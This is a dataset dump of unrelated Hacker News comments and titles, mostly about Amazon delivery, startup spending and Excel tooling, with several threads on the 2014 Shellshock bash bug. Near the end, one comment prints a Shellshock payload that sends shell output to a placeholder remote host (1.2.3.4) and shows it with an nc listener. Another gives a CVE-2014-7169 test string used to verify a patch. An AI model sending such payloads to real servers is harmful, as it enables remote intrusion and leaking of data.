skysight-inc/HackerNews huggingface dataset:
I have a lot of trust in USPS too, but ... I feel like USPS is a temporary or secondary measure until Amazon ramps up their own delivery service in big cities. Part of the appeal of DIY delivery is same day/next day and Sunday service, and USPS can't necessarily offer that.

In SF, Amazon already does some of the last mile deliveries, and I haven't been impressed so far. A blender chucked over a ~8 foot gate so it busted the box inside despite a ton of packaging. A package that was left _outside_ the gate - when I live right on Market Street (if you don't know local geography, it's one of the biggest streets in SF)... that was stolen before I even realized it was delivered. Bonus points because it was a birthday gift but Amazon wouldn't rush the replacement package showing up a day late. One package carefully put in front of the basement door, almost missed. Another wedged through the gaps in the gate and damaged. One time a person rang the doorbell and just dropped the box in front of the gate when they heard the buzz. Did I mention I've been home for all these packages and have no idea why people can't just ring the doorbell and wait 10 more seconds? Lastly, I have an order going to a commercial address and I'm worried they might try Sunday evening delivery instead of a saner time like 9am on Monday for all other carriers.

USPS works because the same people tend to work the same routes and end up knowing a lot about when and where to leave things - I also know the UPS guy for my address and when he's doing deliveries, it works flawlessly too. I'm worried that Amazon isn't planning for something like that.
When building bash (at least for some variants of Fedora), don't you need to specify the prefix as / so that it copies to /bin?

Otherwise, I think it's just installed to $ac_default_prefix/bin, which is usually /usr/local/bin, leaving your old vulnerable one still in /bin/bash

./configure --prefix=/
Wearable artificial kidney safety test receives go-ahead
Study: Google Glass Distracts Drivers (Who’s Surprised?)
Actually, the 20th century had a few different words for it, like "advertorial", "product placement", etc.
Check your WYSIWYG text editors for attribute-based cross-site scripting (XSS)
As a side note, the corning museum of glass is totally worth the trip. Amazing place.
Very nice indeed. My team do statistical work, usually delivered in Excel, and we're going to be focused on automation / productivity quite heavily in the next few months. I need to put this through its paces a bit more than putting 'Hello World' in A1 - but it raises the tantalising prospect of a bunch of R and VBA work turning into a bunch of R and Python work.
This does not only apply to the Telerik products.
Presumably they're getting a ROI, though. They're obviously tracking the results, since the ads always tell listeners to go to a particular URL to get a discount.

If they're getting a ROI it means that this form of media is working as an advertising medium. That seems like a good judge of health to me.
It looks like they adopted the HDL/Yodel model and just robbed them of all their business. Ruthless but probably smart.
Bitcoin: The Internet of Money
This is not about ancestors or special classes. A lot of people seem to be missing the fact that most indigenous tribes are sovereign nations with their own laws and government which have existed since long before the U.S.A. This is why we have casinos on tribal lands while they are banned elsewhere. The laws are different. Treaties with these people are the only reason the U.S.A. even exists, although they are regularly ignored.

The fact is that it is disingenuous to pretend to have a nation governed by the rule of law while ignoring the rights of older sovereign nations which exist within your borders. Not all tribes have the same rights and status, but how we treat them is the best indicator of how legitimate our own legal structure can claim to be.
A couple months ago I was contacted by Amazon recruiters, they are/were hiring heavily for a new 'logistics' operation. The recruiter would not say a whole lot except that they were working on a delivery network.

So it seems they have the physical stuff in place but now they're working out on how to do the 'last mile' as it were.

The work sounded really interesting, I did not pursue because I did not want to move to Seattle.
What It Means to Be an Online Community Builder by Vanessa DiMauro
I think the graphic design aspect of contemporary UIs isn't as big of a problem as their overall design philosophy. Developers seem to have conflated "minimalism" with "slashing features and hoping no one notices", while suddenly hiding stuff behind clunky menus is hip.
Seems the same as http://unwind.me
Reminder Andreessen is the same person that says Snowden is a traitor.
> I don't miss any text command, operator, motion or work flow from Vim. Marks, paragraph reformatting, visual mode, visual block, macros, registers, text objects, splits (vertical, horizontal, :normal, folding, etc)... it has almost everything.

Tried for 10 minutes and found out it has not g-/g+. (still awesome)
If I'm looking at this correctly, it appears that the Red Hat patches aren't vulnerable to this particular vulnerability. (I believe they patched bash differently than upstream, as per https://securityblog.redhat.com/2014/09/26/frequently-asked-...)

EDIT: I tested on CentOS 6.5 and Fedora 18 (for which we'd manually backported the Fedora 19 patches).
The Astrée Static Analyzer, sees all possible C run-time errors
seems legit. i'll take a look at it, maybe
In plan9 the two functions are totally split. rc doesn't handle any input apart from stdin, stdout and stderr.

The window manager handles input/output and sends bytes to stdout for processing. The environment is a per process filesystem in /proc/$pid/env/ .

Keeping the TTY around is a dumb move. Kill it with fire.
Yeah, it's a feature, working as intended.

This is how you define a shell function and then use it in sub-scripts.

As the author noted, using this as an exploit requires control of the variable names, and common tools (httpd, dhclient, etc) that set variables in environment have explicit naming conventions in place to prevent this.

To be clear: I'll change my tune if someone finds a way to exploit this remotely.
We could fail. Or not.
Awesome to see a FOSS solution for this.

Ben at DataNitro[1], a paid solution that's been around for a while, has been awesome in my occasional correspondence with him as a user. Anyone looking for xlwing's functionality with commercial support etc should give them a look.

[1] https://datanitro.com/
http://pyxll.com/ already does all of this, better

In particular it's in-process and does UDFs.

Admittedly it isn't open-source but it is free for non-commercial use.
Which, in itself, is another disaster.
It's interesting to look back at the Cultural Revolution with an intelligence document like this that was written in the beginning of it. Its analysis and predictions are very accurate in many ways (especially the parts about Zhou Enlai, Maoist Dogmas eventually disappearing) but in it fails to express the significance and and potency of what was going on, which is understandable as I don't think anyone really thought it would last the better part of ten years. It's amazing one man was able to cause such drastic changes in the different structures of a country the way Mao did.

I've always found that the most enlightening aspect of the Cultural Revolution is that many of the principles it was against eventually became defining aspects of post-Mao China. As a social revolution, it seems to be alone in this regard. I am unsure if this outcome is surprising or not, as the Four Modernizations were originally proposed in 1963.
"Business owner" implies they currently have sole or majority ownership in a business, but with many companies both big and small, multiple people have ownership stakes. Founders also often don't retain an ownership stake forever, since many businesses change ownership during their lifetimes, and others shut down.

So, in my example above, what if the person only retains a minority ownership stake in the restaurant, sold the two software companies, the property management company failed, and they are now working on a new company of any kind? Does "business owner" really accurately describe what they do?

Note that if you think this kind of example is unusual, in my experience it's relatively common for people who build companies to do so in different domains, either simultaneously or at different stages in their careers.
Peter Schiff: Blind faith in dollar will lead world to financial Armageddon
Is It Time to Invest in Bitcoin?
But you can get Vim's modal editing with Emacs'evil-mode.
I suppose I don't know exactly, but I live in the mountain region. It's about $1,000 for a 800sqft 1br apartment. Many people complain how housing is at least twice as expensive here as where they are from.

(I was elated, because housing here is half as expensive as where I was from!)
How the Daily Standup meeting came to be
In band signalling = bad
Not everyone can multi-task that well. I know at least 2 people, girlfriend included, that can't do anything when on their phone. They'll literally stop in their tracks when walking on the sidewalk or completely drop out of a conversation when reading / writing a text message. Let alone playing a game. I also think its a bit rude to play a game when in the company of someone else trying to have a conversation.
I've read the page you linked and it's not clear to me how to reach that conclusion based on that information. Help?
This patch script doesn't seem to fix CVE-2014-7169 (the second exploit) on some distributions. I have confirmed that the vulnerability still works after patching with Debian etch and lenny installations.

I have issued an updated patcher script that fixes the patch: https://github.com/tpfister/public/blob/master/patch_shellsh...

The relevant changes are:

# aftershock patch CVE-2014-7169

wget -nv http://tomas.pfister.fi/aftershock_4.3.txt

patch -p0 < aftershock_4.3.txt

After patching the second vulnerability no longer works:

tp@tp:~/src/bash-4.3$ env X='() { (a)=>\' ./bash -c "echo date"; cat echo
./bash: X: line 1: syntax error near unexpected token `='
./bash: X: line 1: `'
./bash: error importing function definition for `X'
date
cat: echo: No such file or directory
tp@tp:~/src/bash-4.3$
There Are No Such Things as Black Holes
And here I thought it was really cool when I migrated a 1GB database from MySQL to Postgres.
Amazon should team up with someone like Uber X or uShip to do premium delivery services.

I'm thinking of high-dollar purchases (those that are $25k and up) where getting your package delivered by a guy in brown shorts doesn't really add to the experience. But someone in a suit and a really nice car or SUV could make the impression you want.
No, DHCP has been proven vulnerable on some systems. So, a system can be exploited by this bug just by connecting to a LAN (e.g. wifi network).

Any protocol or service that runs via BASH is vulnerable. CGI is currently the largest and easiest attack vector to test for.
What does that have to do with white hot burn rates?
OK so I'm not the only person deeply troubled by their generous offer to remotely test my servers for vulnerability. Thank god they included the safe 'at-home' test kit
I was not able to replicate this on Amazon's linux distro after the second patch was applied. After only the first patch, though, the server was still vulnerable.
Is this relevant? I don't agree with him about Snowden, but I don't see why his view on a political issue should be related to his view on burn rates. People can be wrong about some things and right about others. Everybody is wrong about some things -- but we cannot write off everything that everybody says, because sometimes people are right.
Fine let's invent an english word. POOK. Call them POOKS?
I was surprised that was his answer to burnout. I read The Power of Full Engagement (http://www.amazon.com/dp/0743226755) and it really helped frame the problem for me. Taking vacations is definitely going to be difficult for a founder, but you can build recovery into your daily schedule and it really really helps.

Meditating, playing an instrument, making art, exercising and playing sports, lunch with a friend - you can do these for half an hour, an hour a day and they yield results.
I played Diplomacy once, with a group of strangers. I wasn't a fan, and feel no urge to play again:

1. I really hate the map. 90% of the map is devoted to ocean and Russia, and the interesting bits are crammed into the remaining 10%. It's incredibly easy to misread the map and fuck up a move. Perhaps this is intentional, but it drives me nuts.

2. I didn't know any of the people, so I couldn't judge how honest or deceitful they were being. Maybe this would be better with friends whose tells I know better.

3. Sweet god, you're right, it takes forever - and yet you're feeling rushed the entire time, since you have to make sure you talk to at least the people you're nominally allied with for the next N turns, as well as hearing out potential new allies, and trying to make new ones of your own.

I guess I'm just too casual of a gamer for something like this, but if you think you're interested in playing Diplomacy, I very highly recommend that you try to find someone in your area to play with - there are probably six other people just like you wishing they had someone else to play with.
HR: "That is higher than our range and we would not be interested in proceeding."

It's a junior dev. Most companies don't expect them to estimate anything. As far as most recruiters are concerned junior devs are perfectly replaceable and if they can't get a number or get a number $20k over everyone else, they have plenty more to choose from.

The best thing you can do is not to play the game with mediocre companies with mediocre recruiters, if you're good enough to pull that off.
Would you like me to serve you dinner too?
Or not Linux at all.
Thankfully, doesn't work for me. It's just grinding.
As a nitpick (it only scales the numbers a bit) I would guess the proportion of paying readers is actually quite a bit higher than 1:650.

The "650,000 readers" figure quoted here appears to be total hits to the website, which is an extremely optimistic count of the number of readers. It's almost certain that a large proportion of those did not read the book at all, and therefore it's unsurprising they didn't pay for it, either. Raw hit counts include people who just open every link on an HN or Reddit page in a new tab, and may or may not read the resulting tab; it also includes people who clicked on a Google search result and immediately bounced when they realized it wasn't what they were looking for.

It's hard to get good numbers on this sort of thing, but one proxy that's sometimes useful is the number of visitors who clicked on anything beyond the first page they landed on.
Open Source email solution ownCloud Mail is coming
Do you have any evidence that supports the possibility of LED beings more labour or capital intensive, or is this a hypothetical, "well maybe it could be worse" in an effort to confirm your existing opinion?
My wife can't multitask - she'll call me when she's walking to relay a two-sentence message because she can't type and walk.

I agree that it's rude to play a game when having a conversation with someone, but it's not rude at all for two people to be walking along and playing the same game.
LibreOffice has python support http://api.libreoffice.org/examples/examples.html
Agreed. I'm reminded of this: http://xkcd.com/1314/ -- I feel that there is some elitist phenomenon here that I can't quite articulate. It's related to the way calling out people as hipsters somewhat protects you from that label yourself.
Show HN: Worker Pool for Erlang
Part of Marc Andreesen's tweetstorm yesterday said, "Worry." Andreesen hasn't said "worry" since 2008, so between that and the fact that he is generally very bullish and optimistic (to the point that when A16Z makes a bet they can put in an order of magnitude more money than other investors would), I began to stress out more than a little bit, especially having just closed our round.

This may be anecdotal to my experience, but there was a time last year when the advice we were getting from mentors changed from, "Figure out how much cash you need to meet your next milestone and go raise that with a bit of cushion" to "Money is everywhere right now; get as much as you can and build the biggest war chest possible." Neither of these approaches are particularly wrong -- it would be weird to turn down money when it's on the table, but we opted to raise significantly less than what we could have raised, and keep our team where we wanted it instead of hiring enough people to become "sexy."

Part of that is because we didn't raise at a super sexy Y-Combinator valuation and didn't want to give away the farm, and part of that was intentional. In short, we wouldn't know what to do with those people if we had them.

To be clear, we still have plenty of money to get stuff done. We still can pay for all the tools we need, pay ourselves enough to not have to stress about cash, and can hire top talent. We just don't have more money than we know what to do with.

We have three people working full-time on product right now, and that will grow to five in the next few months. If we had raised a $3 Million seed round (if you can still call that a "seed"), we would have felt compelled to go hire a dozen people. I can think of stuff we'd like to do, but it would probably be an absolute mess if we were building it all in parallel.

There may be some companies for whom building a huge war chest makes sense, but the notion of raising money for the sake of raising money (because you can) seems odd and dangerous to me.
A mistress.
I think you are oversimplifying. In the US you can compete on price at a subpenny level by posting at an exchange with inverted (taker/maker) pricing. Shares posted at BYX are really $0.004/share cheaper than BZX, and most smart order routers will take at the inverted exchanges first. Also, changing the tick size won't eliminate the race to 0 (or c) because there are other advantages to low latency execution beyond just getting good queue priority at the inside price. One obvious example is quickly canceling or modifying your orders when the price of a related instrument moves.
The problem is that nobody will listen. The reason nobody will listen is everyone has an "I better get mine while I can mentality" or a "Well, nobody else is going to listen, so I'll be at a disadvantage if I stop spending so much" mentality.

If you look around and see the people you're competing with spending money like it's going out of style, you're going to do it too.
I think this is the 4th major blog that I've seen just repost Andreesen's tweet stream.

But, regardless of frothy times or not, the advice is solid. Keep your burn low. Run as lean as possible until you've figured out the business model.
Sysdig now detects Shellshock intrusions
maybe(joke).will be_success
Try these things:
https://monitorbook.com/
or
https://github.com/cantino/huginn/
Patterncraft – Explaining Design Patterns with Starcraft
Why now? What about all the years startups have been burning cash? It's nothing new. Parties, entitlements like free meals for employees, fancy offices and furniture, too much travel, ads and PR spending, fancy hardware... when a startup has zero or negligible revenue, this kind of excessive spending is absurd. Not clear why Marc thinks it's time to sound a warning now.
As an interesting factoid that may be it is in no way related to the point Andreessen is making. Startups are warming themselves by burning piles of money and a harsh winter is coming.
Don't. Just... don't.

Keep it on topic.

Edit: Why on Earth do I get down voted because I think it should be kept on topic??? Really???
Author here. Here's the corresponding proggit thread: http://www.reddit.com/r/programming/comments/2hisfk/breaking...
with http://www.pyxll.com you can have functions that take and return pandas dataframes and series, see https://github.com/pyxll/pyxll-examples/blob/master/customty...
FBI chief slams Apple, Google for encrypting phones
I think shit management is kind of par for the course in a lot of businesses all over the place, from small startups to medium sized businesses to large corporations to government.
It's quite amusing that the folks who have been investing in companies at exorbitant valuations and pushing for higher and higher growth as a prerequisite for additional funding are now worried that all the large sums they've aggressively invested are being spent on growth or things that create the appearance of growth. What did they expect?

Comments like "When the market turns, and it will turn, we will find out who has been swimming without trunks on: many high burn rate co's will VAPORIZE" are particularly interesting. The top-tier VC firms always talk about value add and active participation in their portfolio companies, and almost all of them look to have board representation in one form or another. But somehow one of the Valley's most prominent and connected VCs suggests that he doesn't know "who has been swimming without trunks on." Crazy.
> I feel like USPS is a temporary or secondary measure until Amazon ramps up their own delivery service in big cities. Part of the appeal of DIY delivery is same day/next day and Sunday service, and USPS can't necessarily offer that

I live in SF too (a block from Market), and I totally hear you.

The USPS has one thing that none of the other delivery services have: access to the insides of apartment buildings in cities like SF. At best the UPS/FedEx can ring the bell; but they can't leave the package inside. The USPS guy has keys to all buildings (the outside, not the individual apartments), and can leave the package inside. It makes a BIG difference. I don't have to drive over to the UPS warehouse to pick up a package I missed.
Museum Hopes to Resurrect Habitat, the First MMO
Show HN: Free Web Application Scanner to check for Shellshock and more
Plus one for this, which I'd never heard of!

() { :;};exec >/dev/tcp/1.2.3.4/8080

In terminal A:

hobbes@metalbaby:~$ nc -l -p 9999 -vv

In terminal B:

hobbes@metalbaby:~$ exec >/dev/tcp/127.0.0.1/9999

Results:

hobbes@metalbaby:~$ nc -l -p 9999 -vv
listening on [any] 9999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43230
"I'm not going to comment until I know what my boss thinks?" That's something nearly every underling has or will say at some point.

If you'd prefer to cherry-pick, and boil Lewis's findings down to an innocuous sentence or two, then you're welcome to do so. But if you'd read his findings as a whole you can easily find much more damning material; for example, the following:

In meetings, Fed employees would defer to the Goldman people; if one of the Goldman people said something revealing or even alarming, the other Fed employees in the meeting would either ignore or downplay it. For instance, in one meeting a Goldman employee expressed the view that "once clients are wealthy enough certain consumer laws don't apply to them." After that meeting, Segarra turned to a fellow Fed regulator and said how surprised she was by that statement -- to which the regulator replied, "You didn't hear that."
Elita: continuous deployment engine in Python
[1] Here is another one about a plane in australia they just busted.

The article is a bit all over the place - but it has some really interesting information about how the CIA gets its rendition aircraft.

[1] http://www.madcowprod.com/2014/09/12/mystery-aircraft-busted...
Self-employed is what I use.
So... not really any difference, in any sense that is remotely relevant. My point was that the shell interface is a much better UI than it is programming language.
ARM’s Rebuttal to RISC-V: “The Case for Licensed Instruction Sets”
My $300 Home Cloud Server